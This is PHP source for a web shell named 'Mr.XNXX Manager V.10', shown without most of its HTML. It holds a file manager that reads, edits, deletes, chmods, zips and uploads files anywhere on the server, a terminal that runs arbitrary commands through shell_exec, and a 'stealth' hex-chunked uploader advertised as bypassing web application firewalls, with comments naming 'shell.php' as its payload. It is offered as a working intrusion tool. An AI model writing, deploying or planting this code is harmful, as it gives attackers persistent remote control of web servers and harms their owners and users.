'; exit; } // --- CONFIG & UTILS --- $root = realpath(isset($_GET['p']) ? $_GET['p'] : '.'); if (!$root) $root = getcwd(); $root = str_replace('\\', '/', $root); $msg = ''; function msg($t, $c = 'green') { return "
$t
"; } function deleteTree($path) { if (is_file($path) || is_link($path)) { return @unlink($path); } if (!is_dir($path)) { return false; } $items = scandir($path); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } if (!deleteTree($path . '/' . $item)) { return false; } } return @rmdir($path); } function copyTree($source, $destination) { if (is_file($source)) { return @copy($source, $destination); } if (!is_dir($source)) { return false; } if (!is_dir($destination)) { if (!@mkdir($destination, 0755, true)) { return false; } } foreach (scandir($source) as $item) { if ($item === '.' || $item === '..') { continue; } if (!copyTree( $source . '/' . $item, $destination . '/' . $item )) { return false; } } return true; } function addToZip($zip, $source, $zipPath) { if (is_file($source)) { $zip->addFile($source, $zipPath); return; } if (!is_dir($source)) { return; } $zip->addEmptyDir($zipPath); foreach (scandir($source) as $item) { if ($item === '.' || $item === '..') { continue; } addToZip( $zip, $source . '/' . $item, $zipPath . '/' . $item ); } } // --- HANDLERS --- // 0. NORMAL UPLOAD HANDLER - Standard PHP upload if (isset($_FILES['normal_file']) && $_FILES['normal_file']['error'] === UPLOAD_ERR_OK) { $file_name = basename($_FILES['normal_file']['name']); $target_file = $root . '/' . $file_name; if (!file_exists($target_file)) { if (move_uploaded_file($_FILES['normal_file']['tmp_name'], $target_file)) { chmod($target_file, 0644); $msg = msg("✅ Uploaded: " . htmlspecialchars($file_name)); } else { $msg = msg("❌ Upload failed. Error: " . $_FILES['normal_file']['error'], "red"); } } else { $msg = msg("⚠️ File already exists: " . htmlspecialchars($file_name), "red"); } } // 1. STEALTH UPLOAD HANDLER - Multiple Files Support // Uses generic parameter names: 'h' (hex data), 't' (temp name with file id), 'f' (finalize real name) if (isset($_POST['t']) && isset($_POST['h']) && isset($_POST['file_id'])) { // Append Chunk with file_id to support multiple files $file_id = preg_replace('/[^a-zA-Z0-9]/', '', $_POST['file_id']); $temp_file = $root . '/.tmp_' . $file_id . '_' . preg_replace('/[^a-zA-Z0-9]/', '', $_POST['t']); $data = hex2bin($_POST['h']); if (file_put_contents($temp_file, $data, FILE_APPEND) !== false) { die("OK"); } else { header("HTTP/1.1 500 IO Error"); die("FAIL"); } } // Finalize Upload (Rename) - Multiple Files Support if (isset($_POST['finalize_t']) && isset($_POST['finalize_n']) && isset($_POST['file_id'])) { $file_id = preg_replace('/[^a-zA-Z0-9]/', '', $_POST['file_id']); $temp_file = $root . '/.tmp_' . $file_id . '_' . preg_replace('/[^a-zA-Z0-9]/', '', $_POST['finalize_t']); $real_name = base64_decode($_POST['finalize_n']); // Decode real name (e.g. shell.php) $target_file = $root . '/' . basename($real_name); if (file_exists($temp_file)) { if (rename($temp_file, $target_file)) { die("DONE"); } else { die("RENAME_FAIL"); } } else { die("NO_TEMP"); } } // Finalize Upload (Rename) if (isset($_POST['finalize_t']) && isset($_POST['finalize_n'])) { $temp_file = $root . '/.tmp_' . preg_replace('/[^a-zA-Z0-9]/', '', $_POST['finalize_t']); $real_name = base64_decode($_POST['finalize_n']); // Decode real name (e.g. shell.php) $target_file = $root . '/' . basename($real_name); if (file_exists($temp_file)) { if (rename($temp_file, $target_file)) { die("DONE"); } else { die("RENAME_FAIL"); } } else { die("NO_TEMP"); } } // 2. EDIT if (isset($_POST['save_p']) && isset($_POST['save_c'])) { if (file_put_contents($_POST['save_p'], $_POST['save_c']) !== false) $msg = msg("Saved."); else $msg = msg("Save failed.", "red"); } // 3. RENAME if (isset($_POST['rn_old']) && isset($_POST['rn_new'])) { if (rename($root . '/' . $_POST['rn_old'], $root . '/' . $_POST['rn_new'])) $msg = msg("Renamed."); else $msg = msg("Rename failed.", "red"); } // 4. CHMOD if (isset($_POST['perm_f']) && isset($_POST['perm_v'])) { if (chmod($root . '/' . $_POST['perm_f'], octdec($_POST['perm_v']))) $msg = msg("Chmod OK."); else $msg = msg("Chmod failed.", "red"); } // 4.5. CREATE FOLDER if (isset($_POST['create_folder']) && isset($_POST['folder_name'])) { $folder_name = basename(trim($_POST['folder_name'])); if (!empty($folder_name)) { $folder_path = $root . '/' . $folder_name; if (!file_exists($folder_path)) { if (mkdir($folder_path, 0755)) { $msg = msg("Folder created successfully: " . htmlspecialchars($folder_name)); } else { $msg = msg("Failed to create folder.", "red"); } } else { $msg = msg("Folder already exists: " . htmlspecialchars($folder_name), "red"); } } else { $msg = msg("Folder name cannot be empty.", "red"); } } // 4.6. CREATE FILE if (isset($_POST['create_file']) && isset($_POST['file_name']) && isset($_POST['file_content'])) { $file_name = basename(trim($_POST['file_name'])); $file_content = $_POST['file_content']; if (!empty($file_name)) { $file_path = $root . '/' . $file_name; if (!file_exists($file_path)) { if (file_put_contents($file_path, $file_content) !== false) { $msg = msg("File created successfully: " . htmlspecialchars($file_name)); } else { $msg = msg("Failed to create file.", "red"); } } else { $msg = msg("File already exists: " . htmlspecialchars($file_name), "red"); } } else { $msg = msg("File name cannot be empty.", "red"); } } // 5. DELETE if (isset($_GET['del'])) { $name = basename($_GET['del']); $del = $root . '/' . $name; if (file_exists($del)) { if (deleteTree($del)) { $msg = msg("Deleted."); } else { $msg = msg("Delete failed.", "red"); } } else { $msg = msg("Item not found.", "red"); } } // 6. BULK ACTIONS if (isset($_POST['bulk_action'])) { $selected = isset($_POST['selected']) && is_array($_POST['selected']) ? $_POST['selected'] : []; if (empty($selected)) { $msg = msg("Select at least one item.", "red"); } else { $action = $_POST['bulk_action']; if ($action === 'delete') { $ok = true; foreach ($selected as $item) { $name = basename($item); $target = $root . '/' . $name; if (!file_exists($target) || !deleteTree($target)) { $ok = false; } } $msg = $ok ? msg("Selected items deleted.") : msg("Some items could not be deleted.", "red"); } if ($action === 'copy') { $destination = realpath($_POST['destination'] ?? ''); if (!$destination || !is_dir($destination)) { $msg = msg("Invalid destination.", "red"); } else { $ok = true; foreach ($selected as $item) { $name = basename($item); $source = $root . '/' . $name; $target = $destination . '/' . $name; if (file_exists($target) || !copyTree($source, $target)) { $ok = false; } } $msg = $ok ? msg("Selected items copied.") : msg("Some items could not be copied.", "red"); } } if ($action === 'zip') { if (!class_exists('ZipArchive')) { $msg = msg("ZipArchive is not installed.", "red"); } else { $zipName = basename($_POST['zip_name'] ?? 'archive.zip'); if (strtolower(substr($zipName, -4)) !== '.zip') { $zipName .= '.zip'; } $zipPath = $root . '/' . $zipName; $zip = new ZipArchive(); if ($zip->open( $zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE ) === true) { foreach ($selected as $item) { $name = basename($item); $source = $root . '/' . $name; if (file_exists($source)) { addToZip($zip, $source, $name); } } $zip->close(); $msg = msg("ZIP created: " . $zipName); } else { $msg = msg("ZIP creation failed.", "red"); } } } if ($action === 'unzip') { if (!class_exists('ZipArchive')) { $msg = msg("ZipArchive is not installed.", "red"); } else { $ok = true; foreach ($selected as $item) { $name = basename($item); $source = $root . '/' . $name; if ( !is_file($source) || strtolower(pathinfo($source, PATHINFO_EXTENSION)) !== 'zip' ) { $ok = false; continue; } $zip = new ZipArchive(); if ($zip->open($source) === true) { $zip->extractTo($root); $zip->close(); } else { $ok = false; } } $msg = $ok ? msg("ZIP files extracted.") : msg("Some selected items were not ZIP files or failed.", "red"); } } } } // --- VIEW --- $list = scandir($root); $dirs = []; $files = []; foreach ($list as $i) { if ($i == '.') continue; if (is_dir("$root/$i")) $dirs[] = $i; else $files[] = $i; } $edit_file = isset($_GET['e']) ? "$root/" . $_GET['e'] : null; $edit_content = $edit_file ? file_get_contents($edit_file) : ''; ?>

Mr.XNXX Manager V.10

Hayolololo

FileManager

Logout
Path: $p): if ($p === '') continue; ?> /
⚡ Terminal Execute commands (use with caution)
'; echo '$ ' . htmlspecialchars($cmd) . '
'; $output = shell_exec($cmd . ' 2>&1'); echo htmlspecialchars($output ?: 'No output or command failed.'); echo '
'; } } ?>


Cancel
🛡️ Stealth Upload (Hex-Chunked) Bypasses WAF
📤 Normal Upload Standard PHP
Max: | Supports all file types

📁 New Folder

📄 New File

0 selected
Name Size Perm Action
..
[D] "> - X
KB X